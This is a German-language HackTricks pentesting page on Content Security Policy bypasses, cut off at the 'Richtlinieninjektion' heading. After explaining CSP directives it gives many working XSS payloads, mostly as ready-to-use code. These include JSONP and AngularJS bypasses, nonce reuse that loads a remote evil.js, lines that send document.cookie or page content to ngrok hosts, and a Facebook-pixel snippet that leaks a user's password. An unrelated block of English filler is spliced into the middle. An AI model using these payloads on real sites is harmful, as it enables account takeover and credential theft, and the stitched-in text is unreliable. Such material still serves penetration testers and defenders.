hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

# Content Security Policy (CSP) Umgehung

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.

</details>

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking-Einblicke**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

## Was ist CSP

Content Security Policy (CSP) wird als Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, **Angriffe wie Cross-Site-Scripting (XSS) abzuschirmen**. Es funktioniert, indem Pfade und Quellen definiert und detailliert werden, aus denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Beispielsweise könnte eine Richtlinie das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.

Die Implementierung von CSP erfolgt über **Antwortheader** oder durch das Einbinden von **Meta-Elementen in die HTML-Seite**. Nach dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle erkannten Verstöße.

* Implementiert über Antwortheader:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implementiert über Meta-Tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Überschriften

CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden:

* `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert Verstöße.
* `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen.

### Definieren von Ressourcen

CSP beschränkt die Ursprünge für das Laden von sowohl aktiven als auch passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktiven

* **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignisbehandler oder XSLT-Stylesheets ausgelöst werden.
* **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufanweisungen fehlen.
* **child-src**: Legt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte fest.
* **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
* **frame-src**: Beschränkt URLs für Frames.
* **frame-ancestors**: Legt fest, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
* **img-src**: Definiert erlaubte Quellen für Bilder.
* **font-src**: Legt gültige Quellen für über `@font-face` geladene Schriftarten fest.
* **manifest-src**: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
* **media-src**: Definiert erlaubte Quellen für das Laden von Mediendateien.
* **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
* **base-uri**: Legt erlaubte URLs für das Laden mit `<base>`-Elementen fest.
* **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
* **plugin-types**: Beschränkt die MIME-Typen, die eine Seite aufrufen darf.
* **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
* **sandbox**: Wendet Einschränkungen ähnlich wie das sandbox-Attribut eines `<iframe>` an.
* **report-to**: Legt eine Gruppe fest, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
* **worker-src**: Legt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte fest.
* **prefetch-src**: Legt gültige Quellen für Ressourcen fest, die abgerufen oder vorabgerufen werden.
* **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.).

### Quellen

* `*`: Erlaubt alle URLs außer denen mit den Schemas `data:`, `blob:`, `filesystem:`.
* `'self'`: Erlaubt das Laden von der gleichen Domain.
* `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-codierte Bilder).
* `'none'`: Blockiert das Laden von jeder Quelle.
* `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
* `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignishandler.
* `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
* `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Nummer).
* Wenn die JS-Ausführung eingeschränkt ist, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, daher ist dies nicht erforderlich), wie in:

<details>

<summary>Skript unter Verwendung von Nonce laden</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>

* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
* `'strict-dynamic'`: Ermöglicht das Laden von Skripten aus jeder Quelle, wenn sie durch eine Nonce oder einen Hash freigegeben wurden.
* `'host'`: Gibt einen spezifischen Host an, wie z. B. `example.com`.
* `https:`: Beschränkt URLs auf die Verwendung von HTTPS.
* `blob:`: Ermöglicht das Laden von Ressourcen aus Blob-URLs (z. B. Blob-URLs, die über JavaScript erstellt wurden).
* `filesystem:`: Ermöglicht das Laden von Ressourcen aus dem Dateisystem.
* `'report-sample'`: Enthält eine Probe des verletzenden Codes im Verstoßbericht (nützlich für die Fehlersuche).
* `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen aus sicheren Ursprüngen laden).
* `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei der Ausführung von Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage über Ursprünge hinweg erfolgt.
* `'unsafe-allow-redirects'`: Ermöglicht das Laden von Ressourcen, die sofort zu einer anderen Ressource umgeleitet werden. Nicht empfohlen, da dies die Sicherheit beeinträchtigt.

## Unsichere CSP-Regeln

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Arbeitsnutzlast: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' über Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Funktionsfähiges Payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Wenn Sie auf irgendeine Weise **zulässigen JS-Code erstellen können, der ein neues Skript-Tag** im DOM mit Ihrem JS-Code erstellt, wird das **neue Skript-Tag aufgrund der zulässigen Skripterstellung ausgeführt**.

### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funktionsfähige Nutzlast:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Fehlen von object-src und default-src

{% hint style="danger" %}
**Es scheint, dass dies nicht mehr funktioniert**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Funktionierende Payloads:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Datei-Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:

Funktionsfähiges Payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Jedoch ist es sehr wahrscheinlich, dass der Server die hochgeladene Datei **validiert** und nur das Hochladen eines **bestimmten Dateityps** zulässt.

Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei hochladen könnten, die von dem Server akzeptierte Erweiterung verwendet (wie z. B. _script.png_), reicht dies nicht aus, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome die Ausführung von Javascript-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Glücklicherweise" gibt es Fehler. Zum Beispiel habe ich aus einem CTF gelernt, dass **Apache die** Erweiterung _**.wave**_ nicht kennt und daher sie nicht mit einem **MIME-Typ wie audio/\*** serviert.

Von hier aus, wenn Sie ein XSS und ein Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglott ([einige Polyglott-Beispiele hier](https://github.com/Polydet/polyglot-database)).

### Form-Action

Wenn es nicht möglich ist, JS einzufügen, könnten Sie trotzdem versuchen, beispielsweise Anmeldeinformationen zu exfiltrieren, indem Sie eine **Form-Action einfügen** (und möglicherweise darauf hoffen, dass Passwort-Manager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Form-Actions abdeckt.

### Endpunkte von Drittanbietern + ('unsafe-eval')

{% hint style="warning" %}
Für einige der folgenden Payloads ist **`unsafe-eval` nicht einmal erforderlich**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS-Code aus:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
Der Beitrag zeigt, dass Sie alle Bibliotheken von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repository) **laden** könnten, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und überprüfen, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
# Umgehung von Content Security Policy (CSP) durch Angular XSS über einen Klassennamen:

In diesem Szenario wird gezeigt, wie Angular Cross-Site-Scripting (XSS) ausgelöst werden kann, indem ein Klassenname verwendet wird.
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Ausnutzung des Google reCAPTCHA-JS-Codes

Laut [**diesem CTF-Writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) kann [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbraucht werden, um beliebigen JS-Code auszuführen und die CSP zu umgehen:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Weitere [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Ausnutzung von www.google.com für offene Weiterleitungen

Die folgende URL leitet auf example.com weiter (von [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
### Drittanbieter-Endpunkte + JSONP

Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es in diesem Bericht [getan wird](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, bei dem `script-src` auf `self` und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mit JSONP umgangen werden. JSONP-Endpunkte ermöglichen unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS auszuführen. Funktionierendes Payload:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**

Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine offene Weiterleitung enthält**, da Weiterleitungen vertrauenswürdig sind, wenn der ursprüngliche Endpunkt vertrauenswürdig ist.

### Missbräuche durch Dritte

Wie in dem [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, können viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP zugelassen sind, missbraucht werden, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

| Entität            | Zugelassene Domain                           | Fähigkeiten |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

Wenn Sie eine der zugelassenen Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.

Wenn Sie beispielsweise die folgende CSP finden:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
### Content Security Policy (CSP) Bypass

---

#### Introduction

In this section, we will discuss various techniques to bypass Content Security Policy (CSP) restrictions.

---

#### Table of Contents

1. [Introduction](#introduction)
2. [Basic CSP Bypass Techniques](#basic-csp-bypass-techniques)
3. [Data Exfiltration Techniques](#data-exfiltration-techniques)
4. [Script Execution Techniques](#script-execution-techniques)
5. [Conclusion](#conclusion)

---

#### 1. Basic CSP Bypass Techniques

Basic CSP bypass techniques involve exploiting various vulnerabilities to execute unauthorized scripts or load external resources.

---

#### 2. Data Exfiltration Techniques

Data exfiltration techniques focus on extracting sensitive information from a target application by bypassing CSP restrictions.

---

#### 3. Script Execution Techniques

Script execution techniques aim to execute malicious scripts on a target application by circumventing CSP controls.

---

#### 4. Conclusion

In conclusion, understanding and exploiting CSP bypass techniques are crucial for identifying and mitigating security vulnerabilities in web applications.
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
1. Erstellen Sie ein Facebook Developer-Konto hier.
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegendes" und notieren Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" mithilfe eines "customEvent" und des Datenpayloads exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die erstellte Anwendung aus (beachten Sie, dass der Event Manager unter einer URL wie dieser zu finden sein könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie den Tab "Test Events", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.

Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, um auf das Facebook Developer-Konto des Angreifers zu verweisen und ein benutzerdefiniertes Ereignis wie folgt auszulösen:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
### Umgehung über RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Zusätzlich zur bereits erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn beispielsweise CSP den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.

Dies funktioniert, weil der Browser eine Datei namens `..%2fangular%2fangular.js` unter `https://example.com/scripts/react/` lädt, was mit CSP konform ist.

Daher wird es dekodiert und effektiv `https://example.com/scripts/react/../angular/angular.js` angefordert, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.

Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden**.

Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Iframes-JS-Ausführung

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### fehlendes **base-uri**

Wenn die Direktive **base-uri** fehlt, können Sie sie missbrauchen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.

Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) und einen **Nonce** verwendet, können Sie das **base** **tag** missbrauchen, um das Skript von **Ihrem eigenen Server zu laden und so ein XSS zu erreichen.**\
Wenn die verwundbare Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS Ereignisse

Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Insbesondere besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in die Ereignisausführungskette verwickelt ist, wobei das `window`-Objekt immer am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.

Durch das Weiterleiten dieses Arrays an den `orderBy`-Filter ist es möglich, darüber zu iterieren und das Terminal-Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der nachfolgende dargestellte Codeausschnitt erläutert diesen Prozess:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Dieser Ausschnitt hebt die Verwendung der `ng-focus`-Direktive zur Auslösung des Ereignisses hervor, wobei `$event.path|orderBy` verwendet wird, um das `path`-Array zu manipulieren, und das `window`-Objekt genutzt wird, um die `alert()`-Funktion auszuführen und somit `document.cookie` offenzulegen.

**Finden Sie weitere Angular-Bypasses unter** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS und whitelistete Domäne
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung whitelistet, kann durch die Aufruf von Rückruffunktionen und bestimmten anfälligen Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem ausführlichen Leitfaden, der in diesem [Git-Repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) verfügbar ist.

Arbeitslasten:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Andere JSONP willkürliche Ausführungsendpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige davon wurden gelöscht oder behoben)

### Umgehung über Weiterleitung

Was passiert, wenn CSP serverseitige Weiterleitung feststellt? Wenn die Weiterleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie dennoch fehlschlagen.

Gemäß der Beschreibung in [CSP-Spezifikation 4.2.2.3. Pfade und Weiterleitungen](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), kann sie jedoch die ursprünglichen Beschränkungen umgehen, wenn die Weiterleitung zu einem anderen Pfad führt.

Hier ist ein Beispiel:
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Wenn CSP auf `https://www.google.com/a/b/c/d` festgelegt ist, werden sowohl Skripte `/test` als auch `/a/test` durch CSP blockiert.

Jedoch wird das endgültige `http://localhost:5555/301` **auf der Serverseite zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt** und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.

Durch diese Umleitung wird selbst bei vollständiger Angabe des Pfads die Sicherheitsmaßnahme umgangen.

Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten aufweist und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.

### Umgehung von CSP mit hängender Markup

Lesen Sie [hier](../dangling-markup-html-scriptless-injection/), wie es funktioniert.

### 'unsafe-inline'; img-src \*; über XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` bedeutet, dass Sie beliebigen Code innerhalb des Codes ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.

Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall nutzt das XSS einen CSRF aus, bei dem eine vom Bot zugängliche Seite eine SQLi enthält und die Flagge über ein Bild extrahiert):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code zu laden, der in ein Bild eingefügt wurde**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt. Sie könnten ein **spezielles Bild erstellen**, es auf Twitter hochladen und das "**unsafe-inline**" missbrauchen, um einen JS-Code auszuführen (wie bei einem regulären XSS), der das Bild **lädt**, den **JS** daraus extrahiert und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Mit Service-Workern

Die Funktion **`importScripts`** von Service-Workern ist nicht durch CSP eingeschränkt:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Richtlinieninjektion

